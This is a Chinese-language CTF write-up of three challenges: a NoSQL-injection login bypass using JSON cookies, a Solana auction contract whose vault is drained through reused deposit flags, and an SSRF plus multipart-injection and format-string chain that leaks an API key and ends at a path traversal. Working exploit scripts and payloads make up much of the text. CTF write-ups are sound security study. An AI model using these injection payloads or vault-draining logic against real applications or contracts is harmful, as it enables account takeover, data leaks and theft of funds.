前言

参考:
https://xz.aliyun.com/news/91567
https://mp.weixin.qq.com/s/Xu8bmR0GWKhJX_NTHbdZtA
Easy Login
import dotenv from 'dotenv';
import express, { Request, Response, NextFunction } from 'express';
import cookieParser from 'cookie-parser';
import { MongoClient, Db, Collection } from 'mongodb';
import crypto from 'crypto';
import path from 'path';
import puppeteer from 'puppeteer';
dotenv.config();
const app = express();
const PORT = Number(process.env.PORT) || 3000;
const mongoUri = process.env.MONGO_URI || process.env.MONGO_URL || 'mongodb://127.0.0.1:27017/easy_login';
const dbName = process.env.MONGO_DB_NAME || 'easy_login';
const FLAG = process.env.FLAG || 'flag{dummy_flag_for_testing}';
const APP_INTERNAL_URL = process.env.APP_INTERNAL_URL || `http://127.0.0.1:${PORT}`;
const ADMIN_PASSWORD = crypto.randomBytes(16).toString('hex');
interface UserDoc {
username: string;
password: string;
}
interface SessionDoc {
sid: string;
username: string;
createdAt: Date;
}
interface AuthedRequest extends Request {
user?: { username: string } | null;
collections?: {
users: Collection<UserDoc> | null;
sessions: Collection<SessionDoc> | null;
};
}
let db: Db | null = null;
let usersCollection: Collection<UserDoc> | null = null;
let sessionsCollection: Collection<SessionDoc> | null = null;
const publicDir = path.join(__dirname, '../public');
async function runXssVisit(targetUrl: string): Promise<void> {
if (typeof targetUrl !== 'string' || !/^https?:\/\//i.test(targetUrl)) {
throw new Error('invalid target url');
}
const browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox']
});
try {
const page = await browser.newPage();
await page.goto(APP_INTERNAL_URL + '/', {
waitUntil: 'networkidle2',
timeout: 15000
});
await page.type('#username', 'admin', { delay: 30 });
await page.type('#password', ADMIN_PASSWORD, { delay: 30 });
await Promise.all([
page.click('#loginForm button[type="submit"]'),
page.waitForResponse(
(res) => res.url().endsWith('/login') && res.request().method() === 'POST',
{ timeout: 10000 }
).catch(() => undefined)
]);
await page.goto(targetUrl, { waitUntil: 'networkidle2', timeout: 15000 });
await new Promise((resolve) => setTimeout(resolve, 5000));
} finally {
await browser.close();
}
}
async function createSessionForUser(user: UserDoc): Promise<string> {
if (!sessionsCollection) {
throw new Error('sessions collection not initialized');
}
const sid = crypto.randomBytes(16).toString('hex');
await sessionsCollection.insertOne({
sid,
username: user.username,
createdAt: new Date()
});
return sid;
}
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(publicDir));
async function initMongo(): Promise<void> {
const client = new MongoClient(mongoUri);
await client.connect();
db = client.db(dbName);
usersCollection = db.collection<UserDoc>('users');
sessionsCollection = db.collection<SessionDoc>('sessions');
let adminUser = await usersCollection.findOne({ username: 'admin' });
if (!adminUser) {
await usersCollection.insertOne({
username: 'admin',
password: ADMIN_PASSWORD
});
} else {
await usersCollection.updateOne(
{ username: 'admin' },
{ $set: { password: ADMIN_PASSWORD } }
);
}
adminUser = await usersCollection.findOne({ username: 'admin' });
console.log(`[init] Admin password set to: ${ADMIN_PASSWORD}`);
}
async function sessionMiddleware(req: AuthedRequest, res: Response, next: NextFunction): Promise<void> {
const sid = req.cookies?.sid as string | undefined;
if (!sid || !sessionsCollection || !usersCollection) {
req.user = null;
return next();
}
try {
const session = await sessionsCollection.findOne({ sid });
if (!session) {
req.user = null;
return next();
}
const user = await usersCollection.findOne({ username: session.username });
if (!user) {
req.user = null;
return next();
}
req.user = { username: user.username };
return next();
} catch (err) {
console.error('Error in session middleware:', err);
req.user = null;
return next();
}
}
app.use((req: AuthedRequest, _res: Response, next: NextFunction) => {
req.collections = {
users: usersCollection,
sessions: sessionsCollection
};
next();
});
app.use(sessionMiddleware as any);
app.get('/', (_req: AuthedRequest, res: Response) => {
res.sendFile(path.join(publicDir, 'index.html'));
});
app.post('/login', async (req: AuthedRequest, res: Response) => {
const { username, password } = req.body as { username?: unknown; password?: unknown };
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'username and password must be strings' });
}
if (!username || !password) {
return res.status(400).json({ error: 'username and password required' });
}
if (!usersCollection) {
return res.status(500).json({ error: 'Database not initialized yet' });
}
try {
let user = await usersCollection.findOne({ username });
if (!user) {
if (username === 'admin') {
return res.status(403).json({ error: 'admin user not available' });
}
await usersCollection.insertOne({ username, password });
user = await usersCollection.findOne({ username });
}
if (!user || user.password !== password) {
return res.status(401).json({ error: 'invalid credentials' });
}
const sid = await createSessionForUser(user);
res.cookie('sid', sid, {
httpOnly: false,
sameSite: 'lax'
});
return res.json({
ok: true,
sid,
username: user.username
});
} catch (err) {
console.error('Error in /login:', err);
return res.status(500).json({ error: 'internal error' });
}
});
app.post('/logout', async (req: AuthedRequest, res: Response) => {
res.clearCookie('sid');
res.json({ ok: true });
});
app.get('/me', (req: AuthedRequest, res: Response) => {
if (!req.user) {
return res.json({ loggedIn: false });
}
res.json({
loggedIn: true,
username: req.user.username
});
});
app.get('/admin', (req: AuthedRequest, res: Response) => {
if (!req.user || req.user.username !== 'admin') {
return res.status(403).json({ error: 'admin only' });
}
res.json({ flag: FLAG });
});
app.post('/visit', async (req: Request, res: Response) => {
const { url } = req.body as { url?: unknown };
if (typeof url !== 'string') {
return res.status(400).json({ error: 'url must be a string' });
}
try {
await runXssVisit(url);
return res.json({ ok: true });
} catch (err: any) {
console.error('XSS bot error:', err);
return res.status(500).json({ error: 'bot failed', detail: String(err) });
}
});
initMongo()
.then(() => {
app.listen(PORT, () => {
console.log(`Server listening on port ${PORT}`);
});
})
.catch((err: unknown) => {
console.error('Failed to initialize MongoDB:', err);
process.exit(1);
});
NoSQL 注入
cookie-parser 中间件未指定任何选项,因此默认启用 JSON cookie 解析。如果 cookie 值以 j: 开头,它会将后面的 JSON 字符串解析为一个对象
const cookieParser = require('cookie-parser');
const express = require('express');
const request = require('supertest');
const app = express();
app.use(cookieParser());
app.get('/', (req, res) => {
res.json({ sid: req.cookies.sid, type: typeof req.cookies.sid });
});
async function test() {
// Test normal cookie
await request(app)
.get('/')
.set('Cookie', 'sid=123')
.expect(200)
.then(res => console.log('Normal:', res.body));
// Test JSON cookie
await request(app)
.get('/')
.set('Cookie', 'sid=j:{"$ne":"x"}')
.expect(200)
.then(res => console.log('JSON:', res.body));
}
test();
// Normal: { sid: '123', type: 'string' }
// JSON: { sid: { '$ne': 'x' }, type: 'object' }
在 server.ts 中,sid 变量是从 req.cookies.sid 中获取的。虽然 TypeScript 将其类型定义为 string | undefined,但如果 cookie 构造得当,运行时它可以是一个对象
然后,sid 直接传递给 sessionsCollection.findOne({ sid }) 查询
如果我们发送类似 sid=j:{"$ne":null} 的 cookie,MongoDB 查询将变为 db.sessions.findOne({ sid: { $ne: null } }),这个查询会查询到 session 中的第一个会话,即管理员会话
那么就能以管理员身份访问了
exp.py
import requests
import time
BASE_URL = "http://223.6.249.127:31728"
def get_flag():
# Step 1: Trigger the bot to create an admin session
print("[*] Triggering bot login...")
try:
requests.post(f"{BASE_URL}/visit",
json={"url": "http://example.com/"},
timeout=5)
except:
pass # Ignore potential timeout or errors, we just need the login to happen
# Wait a moment for the bot to ensure login
time.sleep(2)
# Step 2: Send request with malicious JSON cookie
# Encoded value for j:{"$ne":"x"}
# We can send it raw or URL encoded. requests handles it.
# Cookie value: j:{"$ne":"x"}
cookies = {"sid": 'j:{"$ne":"x"}'}
print("[*] Sending malicious cookie to /admin...")
res = requests.get(f"{BASE_URL}/admin", cookies=cookies)
if res.status_code == 200:
print(f"[+] Flag found: {res.json().get('flag')}")
else:
print(f"[-] Failed. Status: {res.status_code}")
print(res.text)
if __name__ == "__main__":
get_flag()
Misc - Auction
if auction_state.ended == true
&& auction_state.settled == true
&& auction_state.highest_bidder == player.pubkey()
{
writeln!(socket, "Auction ended! Here is your flag:")?;
if let Ok(flag) = env::var("FLAG") {
writeln!(socket, "flag: {:?}", flag)?;
} else {
writeln!(socket, "flag not found, please contact admin")?;
}
return Ok(());
}
服务端启动 Solana/Anchor 程序并初始化一场管理员拍卖(buy-now=10 SOL),随后加载选手的 solve 指令执行。flag 条件只有当管理员拍卖状态满足:
- ended == true
- settled == true
- highest_bidder == player
选手资金初始不足以直接 10 SOL 结算,需要从系统或 vault 中弄钱
/// Place or raise a bid. Only a single deposit is locked up front.
/// If buy-now is reached, the auction ends immediately and an event is emitted.
pub fn place_bid(ctx: Context<PlaceBid>, bid_amount: u64) -> Result<()> {
require!(bid_amount > 0, ErrorCode::InvalidBidAmount);
let auction = &mut ctx.accounts.auction;
let now = Clock::get()?.unix_timestamp;
require!(
!auction.ended && now < auction.end_time,
ErrorCode::AuctionAlreadyEnded
);
require!(bid_amount >= auction.starting_bid, ErrorCode::BidTooLow);
if auction.highest_bid > 0 {
require!(
bid_amount >= auction.highest_bid.saturating_add(auction.increment),
ErrorCode::IncrementTooSmall
);
}
// Pay deposit if required and not already paid.
let bidder_state = &mut ctx.accounts.bidder_state;
if !bidder_state.deposit_paid {
system_transfer(
CpiContext::new(
ctx.accounts.system_program.to_account_info(),
anchor_lang::system_program::Transfer {
from: ctx.accounts.bidder.to_account_info(),
to: ctx.accounts.vault.to_account_info(),
},
),
auction.deposit_amount,
)?;
bidder_state.deposit_paid = true;
auction.deposit_count = auction
.deposit_count
.checked_add(1)
.ok_or(ErrorCode::MathOverflow)?;
}
bidder_state.bidder = ctx.accounts.bidder.key();
bidder_state.auction = auction.key();
bidder_state.refunded = false;
bidder_state.bump = ctx.bumps.bidder_state;
// Update auction high bid.
auction.highest_bid = bid_amount.min(auction.buy_now_price);
auction.highest_bidder = ctx.accounts.bidder.key();
// If buy-now reached, end immediately.
if bid_amount >= auction.buy_now_price {
auction.ended = true;
}
Ok(())
}
/// Losers reclaim their deposit (if any) after the auction ends.
pub fn claim_refund(ctx: Context<ClaimRefund>) -> Result<()> {
let auction = &mut ctx.accounts.auction;
require!(auction.ended, ErrorCode::AuctionNotEnded);
require!(
auction.highest_bidder != ctx.accounts.bidder.key(),
ErrorCode::WinnerMustClaimViaWinnerPath
);
let bidder_state = &mut ctx.accounts.bidder_state;
require!(!bidder_state.refunded, ErrorCode::AlreadyRefunded);
require!(
auction.deposit_amount == 0 || bidder_state.deposit_paid,
ErrorCode::DepositNotPaid
);
require!(
bidder_state.bidder == ctx.accounts.bidder.key(),
ErrorCode::UnauthorizedBidderState
);
require!(
bidder_state.auction == auction.key(),
ErrorCode::WrongAuction
);
transfer_from_vault(
&ctx.accounts.vault,
&ctx.accounts.bidder.to_account_info(),
auction.deposit_amount,
&ctx.accounts.system_program,
ctx.bumps.vault,
)?;
auction.deposit_count = auction.deposit_count.saturating_sub(1);
bidder_state.refunded = true;
Ok(())
}
只要 bidder_state.deposit_paid == false,就会从 bidder 向 vault 转押金
押金成功后仅修改 deposit_paid = true,并累加 auction.deposit_count
但在新拍卖中,同一 bidder_state 只要没被重建,就不会被重置
claim_refund 只校验:auction.ended == true,bidder_state.deposit_paid == true,bidder_state.refunded == false,bidder_state 与 auction/bidder 匹配
但没有校验该拍卖是否真的收过押金,也没有验证 deposit_count 是否对应实际转入
一旦 deposit_paid 在某次拍卖里被置为 true,后续新拍卖里同一 bidder_state 可跳过押金支付,但 claim_refund 仍允许从 vault 取回押金。
思路:
创建一个极小金额拍卖,分别让 player 和 exploit_pda 参与竞拍,使其 deposit_paid = true。
之后关闭拍卖,释放拍卖账户,但 bidder_state 保留
然后从 vault 抽 SOL,足够了之后直接结算管理员拍卖
lib.rs,用于生成 exploit.so
use anchor_lang::prelude::*;
use challenge::cpi::accounts::{
ClaimRefund, ClaimWinner, CloseAuction, CreateAuction, PlaceBid,
};
use challenge::{self};
declare_id!("22222222222222222222222222222222222222222522");
#[program]
pub mod exploit {
use super::*;
pub fn solve(ctx: Context<Solve>) -> Result<()> {
let bump = ctx.bumps.exploit_pda;
ensure_exploit_pda_funded(&ctx, bump, 5_000_000)?;
seed_deposit_flags(&ctx, bump)?;
drain_vault(&ctx, bump, 1, 50 * LAMPORTS_PER_SOL, 51 * LAMPORTS_PER_SOL)?;
win_admin_auction(&ctx)?;
Ok(())
}
}
const LAMPORTS_PER_SOL: u64 = 1_000_000_000;
#[inline(never)]
fn ensure_exploit_pda_funded(ctx: &Context<Solve>, bump: u8, lamports: u64) -> Result<()> {
if ctx.accounts.exploit_pda.lamports() > 0 {
return Ok(());
}
let seeds = &[b"exploit".as_ref(), &[bump]];
let signer = &[&seeds[..]];
let ix = anchor_lang::solana_program::system_instruction::create_account(
&ctx.accounts.player.key(),
&ctx.accounts.exploit_pda.key(),
lamports,
0,
&ctx.accounts.system_program.key(),
);
anchor_lang::solana_program::program::invoke_signed(
&ix,
&[
ctx.accounts.player.to_account_info(),
ctx.accounts.exploit_pda.to_account_info(),
ctx.accounts.system_program.to_account_info(),
],
signer,
)?;
Ok(())
}
#[inline(never)]
fn seed_deposit_flags(ctx: &Context<Solve>, bump: u8) -> Result<()> {
let (end_time, settlement_deadline) = auction_times()?;
let exploit_seeds = &[b"exploit".as_ref(), &[bump]];
let signer = &[&exploit_seeds[..]];
// Tiny auction to set deposit_paid=true for both bidder states.
let cpi_create = CpiContext::new(
ctx.accounts.challenge_program.to_account_info(),
CreateAuction {
auctioneer: ctx.accounts.player.to_account_info(),
auction: ctx.accounts.my_auction.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
},
);
challenge::cpi::create_auction(
cpi_create,
999,
"seed".to_string(),
2,
1,
1,
end_time,
settlement_deadline,
)?;
let cpi_bid_player = CpiContext::new(
ctx.accounts.challenge_program.to_account_info(),
PlaceBid {
bidder: ctx.accounts.player.to_account_info(),
auction: ctx.accounts.my_auction.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
bidder_state: ctx.accounts.my_bidder_state.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
},
);
challenge::cpi::place_bid(cpi_bid_player, 1)?;
let cpi_bid_exploit = CpiContext::new_with_signer(
ctx.accounts.challenge_program.to_account_info(),
PlaceBid {
bidder: ctx.accounts.exploit_pda.to_account_info(),
auction: ctx.accounts.my_auction.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
bidder_state: ctx.accounts.exploit_bidder_state.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
},
signer,
);
challenge::cpi::place_bid(cpi_bid_exploit, 2)?;
let cpi_refund_player = CpiContext::new(
ctx.accounts.challenge_program.to_account_info(),
ClaimRefund {
bidder: ctx.accounts.player.to_account_info(),
auction: ctx.accounts.my_auction.to_account_info(),
bidder_state: ctx.accounts.my_bidder_state.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
},
);
challenge::cpi::claim_refund(cpi_refund_player)?;
let cpi_winner = CpiContext::new_with_signer(
ctx.accounts.challenge_program.to_account_info(),
ClaimWinner {
winner: ctx.accounts.exploit_pda.to_account_info(),
auction: ctx.accounts.my_auction.to_account_info(),
bidder_state: ctx.accounts.exploit_bidder_state.to_account_info(),
auctioneer: ctx.accounts.player.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
},
signer,
);
challenge::cpi::claim_winner(cpi_winner)?;
let cpi_close = CpiContext::new(
ctx.accounts.challenge_program.to_account_info(),
CloseAuction {
auctioneer: ctx.accounts.player.to_account_info(),
auction: ctx.accounts.my_auction.to_account_info(),
},
);
challenge::cpi::close_auction(cpi_close)?;
Ok(())
}
#[inline(never)]
fn drain_vault(
ctx: &Context<Solve>,
bump: u8,
rounds: u64,
starting_bid: u64,
buy_now: u64,
) -> Result<()> {
let exploit_seeds = &[b"exploit".as_ref(), &[bump]];
let signer = &[&exploit_seeds[..]];
for _ in 0..rounds {
let (end_time, settlement_deadline) = auction_times()?;
let cpi_create = CpiContext::new(
ctx.accounts.challenge_program.to_account_info(),
CreateAuction {
auctioneer: ctx.accounts.player.to_account_info(),
auction: ctx.accounts.my_auction.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
},
);
challenge::cpi::create_auction(
cpi_create,
999,
"drain".to_string(),
buy_now,
starting_bid,
LAMPORTS_PER_SOL,
end_time,
settlement_deadline,
)?;
let cpi_bid_player = CpiContext::new(
ctx.accounts.challenge_program.to_account_info(),
PlaceBid {
bidder: ctx.accounts.player.to_account_info(),
auction: ctx.accounts.my_auction.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
bidder_state: ctx.accounts.my_bidder_state.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
},
);
challenge::cpi::place_bid(cpi_bid_player, starting_bid)?;
let cpi_bid_exploit = CpiContext::new_with_signer(
ctx.accounts.challenge_program.to_account_info(),
PlaceBid {
bidder: ctx.accounts.exploit_pda.to_account_info(),
auction: ctx.accounts.my_auction.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
bidder_state: ctx.accounts.exploit_bidder_state.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
},
signer,
);
challenge::cpi::place_bid(cpi_bid_exploit, buy_now)?;
let cpi_refund_player = CpiContext::new(
ctx.accounts.challenge_program.to_account_info(),
ClaimRefund {
bidder: ctx.accounts.player.to_account_info(),
auction: ctx.accounts.my_auction.to_account_info(),
bidder_state: ctx.accounts.my_bidder_state.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
},
);
challenge::cpi::claim_refund(cpi_refund_player)?;
let cpi_close = CpiContext::new(
ctx.accounts.challenge_program.to_account_info(),
CloseAuction {
auctioneer: ctx.accounts.player.to_account_info(),
auction: ctx.accounts.my_auction.to_account_info(),
},
);
challenge::cpi::close_auction(cpi_close)?;
}
Ok(())
}
#[inline(never)]
fn win_admin_auction(ctx: &Context<Solve>) -> Result<()> {
let cpi_bid_final = CpiContext::new(
ctx.accounts.challenge_program.to_account_info(),
PlaceBid {
bidder: ctx.accounts.player.to_account_info(),
auction: ctx.accounts.admin_auction.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
bidder_state: ctx.accounts.admin_bidder_state.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
},
);
challenge::cpi::place_bid(cpi_bid_final, 10 * LAMPORTS_PER_SOL)?;
let cpi_winner = CpiContext::new(
ctx.accounts.challenge_program.to_account_info(),
ClaimWinner {
winner: ctx.accounts.player.to_account_info(),
auction: ctx.accounts.admin_auction.to_account_info(),
bidder_state: ctx.accounts.admin_bidder_state.to_account_info(),
auctioneer: ctx.accounts.admin.to_account_info(),
vault: ctx.accounts.vault.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
},
);
challenge::cpi::claim_winner(cpi_winner)?;
Ok(())
}
#[inline(never)]
fn auction_times() -> Result<(i64, i64)> {
let now = Clock::get()?.unix_timestamp;
let end_time = now + 1000;
let settlement_deadline = end_time + 60 * 60 * 24 * 8;
Ok((end_time, settlement_deadline))
}
#[derive(Accounts)]
pub struct Solve<'info> {
/// CHECK: program
pub challenge_program: AccountInfo<'info>,
/// CHECK: auction
#[account(mut)]
pub admin_auction: AccountInfo<'info>,
/// CHECK: bidder_state
#[account(mut)]
pub admin_bidder_state: AccountInfo<'info>,
pub system_program: Program<'info, System>,
/// CHECK: vault (system account)
#[account(mut)]
pub vault: AccountInfo<'info>,
#[account(mut)]
pub player: Signer<'info>,
/// CHECK: my_auction
#[account(mut)]
pub my_auction: AccountInfo<'info>,
/// CHECK: my_bidder_state
#[account(mut)]
pub my_bidder_state: AccountInfo<'info>,
/// CHECK: admin user
#[account(mut)]
pub admin: AccountInfo<'info>,
/// CHECK: PDA signer
#[account(
mut,
seeds = [b"exploit"],
bump
)]
pub exploit_pda: AccountInfo<'info>,
/// CHECK: BidderState for Exploit (Mut)
#[account(mut)]
pub exploit_bidder_state: AccountInfo<'info>,
}
cargo build-sbf 编译
exp.py
import socket
import struct
import hashlib
import time
import sys
import base58
def is_on_curve(bytes_32):
# Pure python Ed25519 point validation
# p = 2^255 - 19
p = 57896044618658097711785492504343953926634992332820282019728792003956564819949
# d = -121665/121666
d = 37095705934669439343138083508754565189542113879843219016388785533085940283555
if len(bytes_32) != 32:
return False
y = int.from_bytes(bytes_32, "little")
sign_bit = (y >> 255) & 1
y &= (1 << 255) - 1
if y >= p:
return False
# 0, 1 are valid. (0 off curve? x^2 = -1) -0^2 + 0^2 = 0. -1 off.
# Actually checking x existence is enough.
y2 = (y * y) % p
u = (y2 - 1) % p
v = (d * y2 + 1) % p
# x^2 = u/v
if v == 0: # Undefined? But d*y^2 != -1 for valid y?
return False
# Calculate inverse of v
v_inv = pow(v, p - 2, p)
x2 = (u * v_inv) % p
# Check if x2 is a quadratic residue
if x2 == 0:
return True # x=0 point exists.
# Euler's criterion: x2^((p-1)/2) == 1
if pow(x2, (p - 1) // 2, p) != 1:
return False
return True
def find_program_address(seeds, program_id):
for bump in range(255, -1, -1):
ctx = hashlib.sha256()
for s in seeds:
ctx.update(s)
ctx.update(bytes([bump]))
ctx.update(program_id)
ctx.update(b"ProgramDerivedAddress")
hash_bytes = ctx.digest()
# PDA is a valid address if it is NOT on curve
if not is_on_curve(hash_bytes):
return hash_bytes, bump
raise Exception("No PDA found")
def get_sighash(name):
return hashlib.sha256(name.encode()).digest()[:8]
def main():
if len(sys.argv) > 1:
HOST = sys.argv[1]
else:
HOST = '127.0.0.1'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337
print(f"Connecting to {HOST}:{PORT}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
f = s.makefile('rb', buffering=0)
# Handshake loop
challenge_id = None
solve_id = None
admin_id = None
player_id = None
# 22222222222222222222222222222222222222222522
my_program_id_str = "22222222222222222222222222222222222222222522"
# Load exploit binary
try:
with open('exploit/target/deploy/exploit.so', 'rb') as bin_f:
program_data = bin_f.read()
except FileNotFoundError:
# Fallback path if running from different dir
with open('attachment_auction/exploit/target/deploy/exploit.so',
'rb') as bin_f:
program_data = bin_f.read()
while True:
line = f.readline().strip().decode(errors='replace')
print(f"S> {line}")
if not line:
break
if "program pubkey:" in line:
print(f"C> Sending program ID: {my_program_id_str}")
s.sendall(my_program_id_str.encode() + b'\n')
continue
if "program len:" in line:
# Server asks for length, then we send data
print(f"C> Sending program len: {len(program_data)}")
s.sendall(str(len(program_data)).encode() + b'\n')
time.sleep(0.1)
print(f"C> Sending program data ({len(program_data)} bytes)...")
s.sendall(program_data)
continue
if line.startswith("Challenge:"):
challenge_id = base58.b58decode(line.split(': ')[1])
elif line.startswith("Exploit:"):
# This should match our sent ID
solve_id = base58.b58decode(line.split(': ')[1])
elif line.startswith("Admin:"):
admin_id = base58.b58decode(line.split(': ')[1])
elif line.startswith("Player:"):
player_id = base58.b58decode(line.split(': ')[1])
# If we have all needed IDs, we can proceed
break
if not challenge_id:
# Fallback for old behavior (client sends program first blindly)
# But since we saw "program pubkey:", we handled it above.
pass
print("Meta gathered.")
# We no longer need patching as we provided the ID
# Calculate PDAs
print("Calculating PDAs...")
# admin_auction: [b"auction", admin, 1]
auction_seed = b"auction"
bidder_seed = b"bidder"
vault_seed = b"vault"
admin_auction, _ = find_program_address(
[auction_seed, admin_id, struct.pack('<Q', 1)], challenge_id)
# admin_bidder_state: [b"bidder", admin_auction, player]
# NOTE: In our loop, we use OUR (player) bidder state on admin auction.
admin_bidder_state, _ = find_program_address(
[bidder_seed, admin_auction, player_id], challenge_id)
vault, _ = find_program_address([vault_seed], challenge_id)
# my_auction: [b"auction", player, 999]
my_auction_id = 999
my_auction, _ = find_program_address(
[auction_seed, player_id,
struct.pack('<Q', my_auction_id)], challenge_id)
# my_bidder_state: [b"bidder", my_auction, player]
my_bidder_state, _ = find_program_address(
[bidder_seed, my_auction, player_id], challenge_id)
# --- Exploit PDA Accounts ---
# Exploit PDA: [b"exploit"]
exploit_pda, _ = find_program_address([b"exploit"], solve_id)
# Exploit Bidder State: [b"bidder", my_auction, exploit_pda]
exploit_bidder_state, _ = find_program_address(
[bidder_seed, my_auction, exploit_pda], challenge_id)
system_program = b'\x00' * 31 + b'\x00' # 1111... -> 000... (System program ID is all zeros in base58? NO. 1111... is zeros)
# Actually System Program ID is 11111111111111111111111111111111
# which decodes to 32 bytes of zeros.
# Construct Solve Instruction
# Accounts:
# 0. challenge_program (Exec)
# 1. admin_auction (Mut)
# 2. admin_bidder_state (Mut)
# 3. system_program
# 4. vault (Mut)
# 5. player (Signer, Mut)
# 6. my_auction (Mut)
# 7. my_bidder_state (Mut)
# 8. admin (Mut) used for ClaimWinner
accounts = [
(
False, False, challenge_id
), # challenge_program (executable? No just account info passed to cpi context)
(False, True, admin_auction), # admin_auction (mut)
(False, True, admin_bidder_state), # admin_bidder_state (mut)
(False, False, system_program), # system_program
(False, True, vault), # vault (mut)
(True, True, player_id), # player (signer, mut)
(False, True, my_auction), # my_auction (mut)
(False, True, my_bidder_state), # my_bidder_state (mut)
(False, True, admin_id), # admin (mut)
]
# Construct Solve Instruction
# SERVER READS TEXT FORMAT!
# Format:
# "num accounts: "
# <num: text> <newline>
# <meta> <pubkey> <newline>
# ...
# "ix len: "
# <len: text> <newline>
# <data: bytes>
accounts = [
(False, False, challenge_id), # challenge_program
(False, True, admin_auction), # admin_auction (mut)
(False, True, admin_bidder_state), # admin_bidder_state (mut)
(False, False, system_program), # system_program
(False, True, vault), # vault (mut)
(True, True, player_id), # player (signer, mut)
(False, True, my_auction), # my_auction (mut)
(False, True, my_bidder_state), # my_bidder_state (mut)
(False, True, admin_id), # admin (mut)
(False, True, exploit_pda), # exploit_pda
(False, True, exploit_bidder_state), # exploit_bidder_state (mut)
]
# Wait for "num accounts: "
while True:
chunk = s.recv(1024).decode(errors='replace')
print(chunk, end='')
if "num accounts: " in chunk:
break
print(f"C> Sending num accounts: {len(accounts)}")
s.sendall(f"{len(accounts)}\n".encode())
# Send accounts
for is_signer, is_writable, pubkey in accounts:
meta = ""
if is_writable: meta += "w"
if is_signer: meta += "s"
if meta == "": meta = "-" # Just something not empty
pubkey_s = base58.b58encode(pubkey).decode()
if pubkey_s == "":
pubkey_s = "11111111111111111111111111111111"
line = f"{meta} {pubkey_s}\n"
print(f"C> Sending account: {line.strip()}")
s.sendall(line.encode())
# Wait for "ix len: "
while True:
chunk = s.recv(1024).decode(errors='replace')
print(chunk, end='')
if "ix len: " in chunk:
break
# Data: global:solve
data = get_sighash("global:solve")
print(f"C> Sending data len: {len(data)}")
s.sendall(f"{len(data)}\n".encode())
# Just to be safe with timing
time.sleep(0.1)
print(f"C> Sending data bytes...")
s.sendall(data)
print("Waiting for flag...")
print("Waiting for flag...")
while True:
data = s.recv(4096)
if not data: break
print(data.decode(errors='replace'), end='')
if __name__ == '__main__':
main()

cutter
要访问 /admin,就需要先获取 API_KEY
API_KEY = os.urandom(32).hex()
HOST = '127.0.0.1:5000'
@app.route('/action', methods=['POST'])
def action():
ip = request.remote_addr
if ip != '127.0.0.1':
return 'only localhost', 403
token = request.headers.get("X-Token", "")
if token != API_KEY:
return 'unauth', 403
file = request.files.get('content')
content = file.stream.read().decode()
action = request.files.get("action")
act = json.loads(action.stream.read().decode())
if act["type"] == "echo":
return content, 200
elif act["type"] == "debug":
return content.format(app), 200
else:
return 'unkown action', 400
@app.route('/heartbeat', methods=['GET', 'POST'])
def heartbeat():
text = request.values.get('text', "default")
client = request.values.get('client', "default")
token = request.values.get('token', "")
if len(text) > 300:
return "text too large", 400
action = json.dumps({"type" : "echo"})
form_data = {
'content': ('content', BytesIO(text.encode()), 'text/plain'),
'action' : ('action', BytesIO(action.encode()), 'text/json')
}
headers = {
"X-Token" : API_KEY,
}
headers[client] = token
response = httpx.post(f"http://{HOST}/action", headers=headers, files=form_data, timeout=10.0)
if response.status_code == 200:
return response.text, 200
else:
return f'action failed', 500
注意到 /action 需要本地访问,且 debug 模式下使用 content.format(app),这里可以打 python 格式化字符串漏洞来泄漏出 API_KEY
所以需要在 /heartbeat 打一个 ssrf 到 /action,注意到这里 headers[client] = token 允许我们自定义请求头然后发送 post 请求,可以本地 nc 抓一下正常发送到 /action 的请求为:
POST /action HTTP/1.1
Host: 127.0.0.1:5000
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: python-httpx/0.28.1
X-Token: 3cfdaad321617c9df34b8c682df97fe44838a065b8e33dd434af2a309e94b743
AAA: BBB
Content-Length: 320
--0dd69a2236f11ddb1d73140d4d5c0e39
Content-Disposition: form-data; name="content"; filename="content"
Content-Type: text/plain
1
--0dd69a2236f11ddb1d73140d4d5c0e39
Content-Disposition: form-data; name="action"; filename="action"
Content-Type: text/json
{"type": "echo"}
--0dd69a2236f11ddb1d73140d4d5c0e39--
那么我们需要注入一个自己的 multipart 包来覆盖 action 参数,通过构造 content 闭合 boundary 即可覆盖,然后 content 参数自身的内容还需要格式化字符串的 payload 来泄漏 API_KEY:
POST /action HTTP/1.1
Host: 127.0.0.1:5000
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: python-httpx/0.28.1
X-Token: 3cfdaad321617c9df34b8c682df97fe44838a065b8e33dd434af2a309e94b743
Content-Type: multipart/form-data; boundary=a
Content-Length: 405
--a
Content-Disposition: form-data; name="content"; filename="content"
Content-Type: text/plain
{0.view_functions[admin].__globals__[API_KEY]}
--a
Content-Disposition: form-data; name="action"; filename="a.json"
Content-Type: application/json
{"type": "debug"}
--a--
--a
Content-Disposition: form-data; name="action"; filename="action"
Content-Type: text/json
{"type": "echo"}
--a--

这样就能设置 Authorization 头访问 admin 了
/admin 处 os.path.join 中 tmpl 参数可控明显可以目录穿越读取任意文件
@app.route('/admin', methods=['GET'])
def admin():
token = request.headers.get("Authorization", "")
if token != API_KEY:
return 'unauth', 403
tmpl = request.values.get('tmpl', 'index.html')
tmpl_path = os.path.join('./templates', tmpl)
